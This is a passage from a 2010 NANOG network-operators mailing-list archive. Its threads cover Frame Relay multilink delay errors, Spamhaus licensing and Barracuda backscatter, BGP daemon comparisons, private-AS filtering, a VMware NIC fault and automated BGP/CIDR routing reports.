would need to validate their CLR/DLR to see what paths/DS3's the individual T1's follow to verify they are on the same circuit. Unfortunately there are those that try and sell MFR as "redundancy" and have the T1's ride diverse paths that can sometimes be pretty huge in difference of loop distance etc.., when they should really just be selling MFR for the bandwidth. - Jim P. -----Original Message----- From: R. Benjamin Kessler [mailto:rbk at mnsginc.com] Sent: Thursday, February 18, 2010 10:55 PM To: nanog at nanog.org Subject: MLFR Differential Delay Problems Hello NANOGers - I'm working on a project to migrate a customer from one "Tier 1" provider to another at 50+ locations (all domestic US sites). Most of these connections are 4xT1 multi-link bundles. The old router configuration was MLPPP which was rock-solid for 3 years (save for the typical "last-mile" circuit issues, fiber-cuts, etc.). The new carrier uses FRF.16 multi-link Frame Relay vs. MLPPP. We've completed the migration on 10+ sites and all of them are now reporting errors like the following: Feb 17 21:01:39 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/0 differential 91.7 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/0 differential 115.9 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 79.0 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 79.1 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 97.4 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/0 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:50 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:52 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 97.4 ms over yellow differential delay 75 ms Feb 17 21:01:52 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/0 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:52 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 97.5 ms over yellow differential delay 75 ms Feb 17 21:01:53 /kernel: MFR bundle ls-0/0/0:0 link t1-1/0/1 differential 90.0 ms over yellow differential delay 75 ms Feb 17 21:01:53 /kernel: MFR bundle ls-0/0/0:0 link t1-2/0/1 differential 100.0 ms over yellow differential delay 75 ms The customer routers are all Juniper J6350; I believe the Carrier's routers are all Cisco GSRs. Advanced JTAC says that our configurations are solid and that there are no known bugs that would exhibit behavior like this. The carrier is insisting on performing physical-level tests of the circuits (even though they're running error free) before they'll engage higher-level engineers so I'm currently in a holding pattern awaiting those results. My Google-foo is failing me and I'm not able to find any documents that help explain what may be causing this and how to troubleshoot and find an eventual solution. I would really appreciate any tips or suggestions from anyone on the list that may have seen issues like this in the past. Thanks, Ben From marc at ena.com Fri Feb 19 10:47:43 2010 From: marc at ena.com (Marc Powell) Date: Fri, 19 Feb 2010 10:47:43 -0600 Subject: Spamhaus... In-Reply-To: <4B7DA21C.1060608@foobar.org> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7DA21C.1060608@foobar.org> Message-ID: <5C1E5884-1BDA-4963-8C19-25D0EBEA7776@ena.com> On Feb 18, 2010, at 2:25 PM, Nick Hilliard wrote: > On 18/02/2010 10:40, Michelle Sullivan wrote: >> They seem to be doing that a lot of late. They also contacted my >> employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our >> software. > > I sympathise. It's very frustrating when you try to deal with these > anti-spam outfits in a reasonable way and you're met with almost completely > arbitrary b/s. What's arbitrary about free for non-commerical use, everyone else pays? When you include it in a commercial product, yes, you should have to pay for it. If you're making money by reselling or providing access to the Spamhaus lists, you should have to pay for it. There's a lot of work that goes into it (I'm sure Michelle would agree) and they have very specific criteria under which they will allow free use and under which they will not. If you don't like it, make your own lists. If you *really* don't like it, make your own lists, and provide a free public infrastructure to support billions of requests a day. -- Marc From owen at delong.com Fri Feb 19 10:53:57 2010 From: owen at delong.com (Owen DeLong) Date: Fri, 19 Feb 2010 08:53:57 -0800 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: <600148B2-6D3F-4B4E-B0FF-F40E043693A8@delong.com> On Feb 16, 2010, at 9:24 AM, Joe Abley wrote: > > On 2010-02-14, at 12:41, Lorell Hathcock wrote: > >> My problem on the redesign is I want to provide routed, copper gig-e ports >> at a reasonable price per port. > > Force10 S25N/S50N. http://www.force10networks.com/products/s50n.asp > > If you look for used models, make sure they're not so old that they can't run FTOS. You don't want SFTOS, which is what the older switches run. > > They work nicely in a stack, when you find you need to grow. > > > Joe > I had absolutely horrible experiences with SFTOS. The upgrade to FTOS was not pleasant. Once they were running on FTOS, they weren't horrible, but, I will never buy another one. Owen From bjorn at mork.no Fri Feb 19 12:18:38 2010 From: bjorn at mork.no (=?utf-8?Q?Bj=C3=B8rn_Mork?=) Date: Fri, 19 Feb 2010 19:18:38 +0100 Subject: Spamhaus... In-Reply-To: <4B7E9B68.8090807@sorbs.net> (Michelle Sullivan's message of "Fri, 19 Feb 2010 15:08:40 +0100") References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> Message-ID: <87wry99ji9.fsf@nemi.mork.no> Michelle Sullivan writes: > Rich Kulawiec wrote: >> On Thu, Feb 18, 2010 at 09:50:59AM -0800, Crist Clark wrote: >> >>> And I want to know how they figured out we had a Barracuda. >> >> It's not that hard, much of the time -- they tend to make >> themselves visible via their poor behavior. > > Is there some very specific poor behavior you're referring to? I don't know what Rich referred to, but Barracudas used to be easy to spot by backscatter levels: http://www.dontbouncespam.org/#barracuda Bj?rn From rubensk at gmail.com Fri Feb 19 12:33:23 2010 From: rubensk at gmail.com (Rubens Kuhl) Date: Fri, 19 Feb 2010 16:33:23 -0200 Subject: 40G/100G options at this time Message-ID: <6bb5f5b11002191033q6e6c2aese38a9e8dce141084@mail.gmail.com> Hi. Are there solutions already available implementing 40GBASE-LR4, 100GBASE-LR4 and 100GBASE-ER4 draft standards ? By solutions it means both switches with CFP-MSA/QSFP/CXP ports and the modules. Rubens From matthew at sorbs.net Fri Feb 19 12:52:14 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Fri, 19 Feb 2010 19:52:14 +0100 Subject: Spamhaus... In-Reply-To: <87wry99ji9.fsf@nemi.mork.no> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> Message-ID: <4B7EDDDE.8080006@sorbs.net> Bj?rn Mork wrote: > Michelle Sullivan writes: > >> Rich Kulawiec wrote: >> >>> On Thu, Feb 18, 2010 at 09:50:59AM -0800, Crist Clark wrote: >>> >>> >>>> And I want to know how they figured out we had a Barracuda. >>>> >>> It's not that hard, much of the time -- they tend to make >>> themselves visible via their poor behavior. >>> >> Is there some very specific poor behavior you're referring to? >> > > I don't know what Rich referred to, but Barracudas used to be easy to > spot by backscatter levels: > http://www.dontbouncespam.org/#barracuda > > Yes that was what Rich was referring to, however, that I suspect is not what Spamhaus are doing. Regards, Michelle From matthew at sorbs.net Fri Feb 19 12:59:19 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Fri, 19 Feb 2010 19:59:19 +0100 Subject: Spamhaus... In-Reply-To: <5C1E5884-1BDA-4963-8C19-25D0EBEA7776@ena.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7DA21C.1060608@foobar.org> <5C1E5884-1BDA-4963-8C19-25D0EBEA7776@ena.com> Message-ID: <4B7EDF87.9090303@sorbs.net> Marc Powell wrote: > On Feb 18, 2010, at 2:25 PM, Nick Hilliard wrote: > > >> On 18/02/2010 10:40, Michelle Sullivan wrote: >> >>> They seem to be doing that a lot of late. They also contacted my >>> employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our >>> software. >>> >> I sympathise. It's very frustrating when you try to deal with these >> anti-spam outfits in a reasonable way and you're met with almost completely >> arbitrary b/s. >> > > What's arbitrary about free for non-commerical use, everyone else pays? When you include it in a commercial product, yes, you should have to pay for it. If you're making money by reselling or providing access to the Spamhaus lists, you should have to pay for it. There's a lot of work that goes into it (I'm sure Michelle would agree) and they have very specific criteria under which they will allow free use and under which they will not. If you don't like it, make your own lists. If you *really* don't like it, make your own lists, and provide a free public infrastructure to support billions of requests a day. > > I can tell you that building infrastructure to support our current load of 30 billion DNS queries per day is not as simple as some people think. That said the difference in infrastructure from 5billion pre day to the 50 billion peak we had was just the number of boxes once the infrastructure was designed and put in place. I can build and deploy a new member of the infrastructure including OS build in around 30 minutes - of which 10 minutes are updating the config the remainder are jump starting the OS. The other points I agree with. If you don't like it or don't agree, don't use it and/or build your own. Michelle From LarrySheldon at cox.net Fri Feb 19 13:06:22 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Fri, 19 Feb 2010 13:06:22 -0600 Subject: Spamhaus... In-Reply-To: References: Message-ID: <4B7EE12E.8010901@cox.net> On 2/19/2010 12:53 PM, Dean Anderson wrote: > So you should think that its ok for blacklists to charge money for > things they got for free? Well, in the interest of staying on topic..... I don't think Spamhaus is selling the data (as you spammers in do do). So far as I know, the data are supplied by volunteers and voluntary offerings of victims of spam. What the charge is for is to support the high-volume capable servers and data links required to support commercial enterprises (like Barracuda) who make money off of those data. Somebody who actually knows what they are talking about can correct my errors for me. People in the gored-ox group can remain silent. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From randy at psg.com Fri Feb 19 14:18:35 2010 From: randy at psg.com (Randy Bush) Date: Sat, 20 Feb 2010 05:18:35 +0900 Subject: troll (was: Spamhaus...) Message-ID: [ subject: changed and refs headers removed ] >> So you should think that its ok for blacklists to charge money for >> things they got for free? why not? apnic, arin, ripe, ... do! randy From rsk at gsp.org Fri Feb 19 14:30:30 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Fri, 19 Feb 2010 15:30:30 -0500 Subject: Spamhaus... In-Reply-To: <87wry99ji9.fsf@nemi.mork.no> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> Message-ID: <20100219203030.GA13374@gsp.org> On Fri, Feb 19, 2010 at 07:18:38PM +0100, Bj??rn Mork wrote: > I don't know what Rich referred to, but Barracudas used to be easy to > spot by backscatter levels: > http://www.dontbouncespam.org/#barracuda They're *still* easy to spot by backscatter levels, probably because (a) a lot of people still have that switch set to "on" (b) some people still switch it to "on" (c) Barracuda's engineers apparently think that using SPF stops backscatter -- and it most emphatically does not. Reject gooooood, bounce baaaaaaad. [1] Now whether there are *other* ways to spot them: I don't know. But there are some very sharp people at Spamhaus, and it would not surprise me if they knew. ---Rsk [1] Unless you are bouncing to an authenticated/internal user. From bdfleming at kanren.net Fri Feb 19 14:41:21 2010 From: bdfleming at kanren.net (Brad Fleming) Date: Fri, 19 Feb 2010 14:41:21 -0600 Subject: Air Force Blacklist Message-ID: <8DD41E5B-1746-4750-82BD-DC3286E62606@kanren.net> Hello all, We have a customer that appears to have a portion of their ARIN- assigned IP space blocked from accessing specific US Air Force resources. We've tried opening tickets with various groups and are not getting anywhere after several months of "dancing". I was wondering if: 1) Anyone has experience getting themselves OFF an Air Force blocked list and is willing to share tips. 2) If there are any Air Force contacts that can confirm or deny that a specific IP is indeed blocked or if we're chasing the wrong problem. Off-list replies (obviously) welcome. -- Brad Fleming From andy at nosignal.org Fri Feb 19 14:44:14 2010 From: andy at nosignal.org (Andy Davidson) Date: Fri, 19 Feb 2010 20:44:14 +0000 Subject: BIRD vs Quagga In-Reply-To: <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> Message-ID: On 13 Feb 2010, at 01:01, Nathan Ward wrote: > On 13/02/2010, at 11:51 AM, Steve Bertrand wrote: > >> fwiw, I've also heard good things about bgpd(8) and ospfd(8), but I >> haven't tried those either...zebra/Quagga just stuck. > OpenBGPd would be great for a public route server at an IX. Nathan has made a good point. Deploying them in an IX environment, with features like per-peer RIBs, very complex filtering, and the numbers of peers you might expect on a route-server environment, is a very different beast to (and more complicated than) deploying them in a network edge/forwarding role. In a forwarding role, the underlying OS's features and the robustness of the daemon under load matters in different ways. So what's best ? I have used all three in a forwarding role and found BIRD on Debian a pretty solid combination. I found OpenBGPd on OpenBSD a pain to use - it converged really slowly and bgpctl seemed to lock up for a while after startup in an environment with *many* peers, and the behaviour with ospf3 used to change quite a lot. Quagga on Linux or FreeBSD seemed to work ok, and the interface will be quite familiar to Cisco users. Using all three as an injector for Anycast or similar leads to quite similar outcomes. However you might find ExaBGP more lightweight in this role - see http://bgp.exa.org.uk/ - do check it out. This has an interface which will feel extremely comfortable to Juniper users. You should still go to the IX Route-Servers panel to learn more about the software in question :-) And its really very good research being presented - but I am biased here. Best wishes Andy -- // www.netsumo.com // Professional network engineering consultancy // // uk ddi: +44(0)20 7993 1702 // us ddi: (415) 520 3589 // From kloch at kl.net Fri Feb 19 14:52:32 2010 From: kloch at kl.net (Kevin Loch) Date: Fri, 19 Feb 2010 15:52:32 -0500 Subject: Blocking private AS In-Reply-To: References: Message-ID: <4B7EFA10.5090709@kl.net> Thomas Magill wrote: > I am thinking about implementing a filter to block all traffic with > private AS numbers in the path. I see quite a few in my table though so > I am concerned I might block some legitimate traffic. In some cases, > these are just prefixes with the private appended to the end but a few > have the private as a transit. Is this a good idea or would I likely be > blocking too much legitimate traffic? The filter I am using currently > shows the following: I filter private asn's and have not had any reachability problems related to that. I suspect most of the routes you see with a private ASN in the path are covered by a less specific route without any private ASN in the path. Someone used a private ASN with their customer and forgot to filter it to their upstreams/peers. - Kevin From LEdouard at edrnet.com Fri Feb 19 14:52:44 2010 From: LEdouard at edrnet.com (LEdouard Louis) Date: Fri, 19 Feb 2010 15:52:44 -0500 Subject: Intel 10Gb on VMware (AMD) ESX 4.0 intermittent problem Message-ID: <2039ACC84D552B46A292559F7A45A14602FCDB81@edrmail01.southport.edr.cc> Has anyone experience problems using Intel 10 Gb NIC on VMware (AMD) ESX 4.0? Some VM's are experiencing intermittent network drop issues even though the actual VM is online. The VM are unable to ping out or respond to ping and sometime unable to ping VM-to-Vm on the same physical server. The problem is only on some VM's on the same ESX host. We move the vms to another ESX 4.0 with same Intel 10 GB card, the problem is resolve, but return days later with same VM at new location. The Intel 10 GB has VMDQ features was not sure if that is part of the problem. Thanks in advance --Louis From cidr-report at potaroo.net Fri Feb 19 16:00:04 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 19 Feb 2010 22:00:04 GMT Subject: BGP Update Report Message-ID: <201002192200.o1JM04RE059242@wattle.apnic.net> BGP Update Report Interval: 11-Feb-10 -to- 18-Feb-10 (7 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS18170 89373 7.0% 4062.4 -- CHANGWON-AS-KR Changwon National University 2 - AS31055 19699 1.5% 4924.8 -- CONSULTIX-AS Consultix GmbH 3 - AS7738 14391 1.1% 30.2 -- Telecomunicacoes da Bahia S.A. 4 - AS3300 13892 1.1% 66.5 -- BT-INFONET-EUROPE BT-Infonet-Europe 5 - AS14420 12476 1.0% 32.0 -- CORPORACION NACIONAL DE TELECOMUNICACIONES CNT S.A. 6 - AS45408 11584 0.9% 5792.0 -- 7 - AS9583 10657 0.8% 10.4 -- SIFY-AS-IN Sify Limited 8 - AS19318 10518 0.8% 457.3 -- NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 9 - AS9498 8632 0.7% 12.9 -- BBIL-AP BHARTI Airtel Ltd. 10 - AS9829 8616 0.7% 10.3 -- BSNL-NIB National Internet Backbone 11 - AS35805 8417 0.7% 14.7 -- UTG-AS United Telecom AS 12 - AS16569 8258 0.7% 4129.0 -- ASN-CITY-OF-CALGARY - City of Calgary 13 - AS28878 8004 0.6% 667.0 -- SIGNET-AS Signet B.V. 14 - AS11311 7284 0.6% 78.3 -- Sinectis S.A. 15 - AS9430 7249 0.6% 233.8 -- STPI-NOIDA Software Technology Parks of India,Block-IV 16 - AS26025 7053 0.6% 3526.5 -- COC - City of Calgary 17 - AS8452 7009 0.6% 6.8 -- TEDATA TEDATA 18 - AS5800 6663 0.5% 26.0 -- DNIC-ASBLK-05800-06055 - DoD Network Information Center 19 - AS24560 6289 0.5% 7.4 -- AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services 20 - AS8551 6110 0.5% 15.4 -- BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbone TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS45408 11584 0.9% 5792.0 -- 2 - AS31055 19699 1.5% 4924.8 -- CONSULTIX-AS Consultix GmbH 3 - AS16569 8258 0.7% 4129.0 -- ASN-CITY-OF-CALGARY - City of Calgary 4 - AS18170 89373 7.0% 4062.4 -- CHANGWON-AS-KR Changwon National University 5 - AS26025 7053 0.6% 3526.5 -- COC - City of Calgary 6 - AS27097 5113 0.4% 1022.6 -- DNIC-ASBLK-27032-27159 - DoD Network Information Center 7 - AS28052 839 0.1% 839.0 -- Arte Radiotelevisivo Argentino 8 - AS27245 1504 0.1% 752.0 -- HEIDRICK-CHICAGO - HEIDRICK 9 - AS28878 8004 0.6% 667.0 -- SIGNET-AS Signet B.V. 10 - AS19318 10518 0.8% 457.3 -- NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 11 - AS16812 5615 0.4% 401.1 -- SPACENET-ENT - Spacenet, Inc. 12 - AS18167 1506 0.1% 376.5 -- HCLCOMNET-AS-IN HCL Comnet Systems & Services Ltd 13 - AS45960 333 0.0% 333.0 -- YTLCOMMS-AS-AP YTL COMMUNICATIONS SDN BHD 14 - AS14670 1322 0.1% 330.5 -- SOLAR-VPS - Solar VPS 15 - AS20524 757 0.1% 252.3 -- MVH Bit Conection Soft Computers S.R.L. 16 - AS50469 251 0.0% 251.0 -- HESSENKOM-DE HessenKom GmbH & Co KG 17 - AS24471 1756 0.1% 250.9 -- GLOBAL-UST-AS-IN USsoftware P Ltd. 18 - AS9430 7249 0.6% 233.8 -- STPI-NOIDA Software Technology Parks of India,Block-IV 19 - AS8668 1566 0.1% 223.7 -- TELONE-AS TelOne Zimbabwe P/L 20 - AS27027 425 0.0% 212.5 -- ANBELL ASN-ANBELL TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 62.168.199.0/24 19689 1.4% AS31055 -- CONSULTIX-AS Consultix GmbH 2 - 208.98.230.0/24 8257 0.6% AS16569 -- ASN-CITY-OF-CALGARY - City of Calgary 3 - 208.98.231.0/24 7052 0.5% AS26025 -- COC - City of Calgary 4 - 114.70.96.0/24 5792 0.4% AS45408 -- 5 - 114.70.97.0/24 5792 0.4% AS45408 -- 6 - 193.177.160.0/23 5672 0.4% AS28878 -- SIGNET-AS Signet B.V. 7 - 118.39.130.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 8 - 118.39.128.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 9 - 203.246.0.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 10 - 59.22.142.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 11 - 203.246.23.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 12 - 118.39.129.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 13 - 118.39.131.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 14 - 118.39.132.0/24 5294 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 15 - 62.193.80.0/24 5279 0.4% AS5536 -- Internet-Egypt 16 - 203.246.0.0/19 5224 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 17 - 220.84.77.0/24 5224 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 18 - 220.68.48.0/21 5224 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 19 - 221.164.52.0/23 5224 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 20 - 59.22.138.0/23 5224 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Feb 19 16:00:00 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 19 Feb 2010 22:00:00 GMT Subject: The Cidr Report Message-ID: <201002192200.o1JM00K4059231@wattle.apnic.net> This report has been generated at Fri Feb 19 21:11:27 2010 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 12-02-10 313721 194084 13-02-10 313877 194074 14-02-10 313836 194173 15-02-10 313863 193766 16-02-10 314099 193990 17-02-10 314228 193395 18-02-10 314052 193123 19-02-10 314156 193226 AS Summary 33625 Number of ASes in routing system 14320 Number of ASes announcing only one prefix 4380 Largest number of prefixes announced by an AS AS4323 : TWTC - tw telecom holdings, inc. 93114880 Largest address span announced by an AS (/32s) AS4134 : CHINANET-BACKBONE No.31,Jin-rong Street Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 19Feb10 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 314385 193240 121145 38.5% All ASes AS6389 4115 320 3795 92.2% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4380 1835 2545 58.1% TWTC - tw telecom holdings, inc. AS4766 1860 490 1370 73.7% KIXS-AS-KR Korea Telecom AS1785 1848 679 1169 63.3% AS-PAETEC-NET - PaeTec Communications, Inc. AS4755 1279 214 1065 83.3% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS22773 1119 74 1045 93.4% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS18566 1059 33 1026 96.9% COVAD - Covad Communications Co. AS17488 1289 341 948 73.5% HATHWAY-NET-AP Hathway IP Over Cable Internet AS8151 1582 677 905 57.2% Uninet S.A. de C.V. AS18101 1092 205 887 81.2% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS10620 1000 167 833 83.3% TV Cable S.A. AS19262 1065 245 820 77.0% VZGNI-TRANSIT - Verizon Internet Services Inc. AS6478 1117 443 674 60.3% ATT-INTERNET3 - AT&T WorldNet Services AS8452 1002 363 639 63.8% TEDATA TEDATA AS4808 850 237 613 72.1% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS4804 678 72 606 89.4% MPX-AS Microplex PTY LTD AS7303 681 108 573 84.1% Telecom Argentina S.A. AS4134 1018 460 558 54.8% CHINANET-BACKBONE No.31,Jin-rong Street AS7018 1567 1013 554 35.4% ATT-INTERNET4 - AT&T WorldNet Services AS24560 847 298 549 64.8% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS3356 1202 664 538 44.8% LEVEL3 Level 3 Communications AS17908 767 229 538 70.1% TCISL Tata Communications AS35805 578 40 538 93.1% UTG-AS United Telecom AS AS4780 631 142 489 77.5% SEEDNET Digital United Inc. AS17676 563 82 481 85.4% GIGAINFRA Softbank BB Corp. AS9443 559 80 479 85.7% INTERNETPRIMUS-AS-AP Primus Telecommunications AS7545 971 495 476 49.0% TPG-INTERNET-AP TPG Internet Pty Ltd AS28573 881 407 474 53.8% NET Servicos de Comunicao S.A. AS9299 672 211 461 68.6% IPG-AS-AP Philippine Long Distance Telephone Company AS22047 529 77 452 85.4% VTR BANDA ANCHA S.A. Total 36801 10701 26100 70.9% Top 30 total Possible Bogus Routes 2.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.2.2.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 41.77.236.0/22 AS5.8 41.190.64.0/22 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 41.190.66.0/24 AS37039 41.202.96.0/19 AS29571 CITelecom-AS 41.216.32.0/19 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 41.220.144.0/20 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 41.220.159.0/24 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 41.222.79.0/24 AS36938 AMSCOTELECOMS Amsco Telecommunications Nigeria Limited 41.223.24.0/22 AS25747 VSC-SATELLITE-CO - VSC Satellite Co. 41.223.92.0/22 AS36936 CELTEL-GABON Celtel Gabon Internet Service 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 41.223.196.0/24 AS36990 41.223.197.0/24 AS36990 41.223.198.0/24 AS36990 41.223.199.0/24 AS36990 46.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.193.160.0/19 AS22351 INTELSAT Intelsat Global BGP Routing Policy 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.82.128.0/19 AS16617 COMMUNITYISP - CISP 64.82.160.0/19 AS16617 COMMUNITYISP - CISP 66.128.38.0/24 AS15246 Telecomunicaciones Satelitales TelesatS.A. 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.47.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 66.207.32.0/20 AS23011 66.230.240.0/20 AS27286 66.241.112.0/20 AS21547 REVNETS - Revolution Networks 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 69.6.80.0/24 AS13442 69.6.81.0/24 AS13442 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.224.0/19 AS19166 ACRONOC - ACRONOC INC 69.170.144.0/20 AS46627 ISOLVER - Internet Solver, Inc. 71.19.134.0/23 AS3313 INET-AS I.NET S.p.A. 71.19.160.0/23 AS4648 NZIX-2 Netgate 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 80.248.64.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.65.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.66.0/23 AS30982 CAFETG AS de CAFE Informatique 80.248.68.0/23 AS30982 CAFETG AS de CAFE Informatique 80.248.70.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.71.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.72.0/21 AS30982 CAFETG AS de CAFE Informatique 80.250.32.0/23 AS21452 SKANNET-IBADAN SKANNET IP Network 80.250.34.0/23 AS21452 SKANNET-IBADAN SKANNET IP Network 81.91.224.0/20 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 100.100.100.0/24 AS36992 ETISALAT-MISR 110.34.40.0/22 AS24399 ABN-PEERING-AS-AP Asia Broadcast Networks Peering AS 110.34.44.0/22 AS12653 COMTONET KB Impuls Hellas 117.120.56.0/21 AS4755 TATACOMM-AS TATA Communications formerly VSNL is Leading ISP 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 158.222.70.0/23 AS6137 SISNA - SISNA, Inc. 158.222.72.0/23 AS6137 SISNA - SISNA, Inc. 158.222.224.0/20 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.224.0/22 AS19864 